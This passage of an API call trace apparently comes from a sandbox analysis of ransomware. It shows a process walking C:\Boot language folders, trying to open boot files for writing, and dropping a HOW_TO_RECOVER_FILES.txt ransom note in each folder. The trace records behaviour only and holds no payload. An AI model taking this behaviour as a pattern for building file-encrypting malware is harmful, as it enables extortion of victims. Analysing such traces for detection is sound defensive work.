lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.694] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.694] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.695] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.695] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.695] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-CS", lpFilePart=0x0) returned 0x12 [0071.695] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.695] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.696] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.696] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0071.696] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0071.696] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.696] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x22 [0071.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.696] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31ed660 | out: lpFileInformation=0x31ed660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1 [0071.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.697] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x22 [0071.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.697] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.699] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", lpFilePart=0x0) returned 0x22 [0071.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.699] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x31edd28 | out: lpFileInformation=0x31edd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58)) returned 1 [0071.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.700] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui", lpFilePart=0x0) returned 0x22 [0071.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.700] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0071.702] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2b [0071.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0071.702] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\sr-latn-cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0071.969] GetFileType (hFile=0x768) returned 0x1 [0071.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0071.969] GetFileType (hFile=0x768) returned 0x1 [0071.970] WriteFile (in: hFile=0x768, lpBuffer=0x3306700*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3306700*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0071.971] CloseHandle (hObject=0x768) returned 1 [0071.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.972] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-RS", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-RS", lpFilePart=0x0) returned 0x12 [0071.972] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0071.972] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.972] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.972] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.972] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0071.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0071.973] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-RS", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-RS", lpFilePart=0x0) returned 0x12 [0071.973] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0071.973] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.973] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.973] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0071.973] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0071.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0071.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0071.974] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x22 [0071.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0071.974] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x331b410 | out: lpFileInformation=0x331b410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1 [0071.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0071.974] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x22 [0071.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0071.974] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0071.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.053] GetFullPathNameW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sr-Latn-RS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2b [0072.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0072.053] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\sr-latn-rs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.053] GetFileType (hFile=0x768) returned 0x1 [0072.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0072.053] GetFileType (hFile=0x768) returned 0x1 [0072.054] WriteFile (in: hFile=0x768, lpBuffer=0x331de38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x331de38*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0072.055] CloseHandle (hObject=0x768) returned 1 [0072.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.055] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0072.055] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0072.056] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.056] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.056] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.057] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0072.057] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0072.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0072.057] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0072.057] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0072.057] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.057] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.057] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.058] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0072.058] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0072.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.058] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: 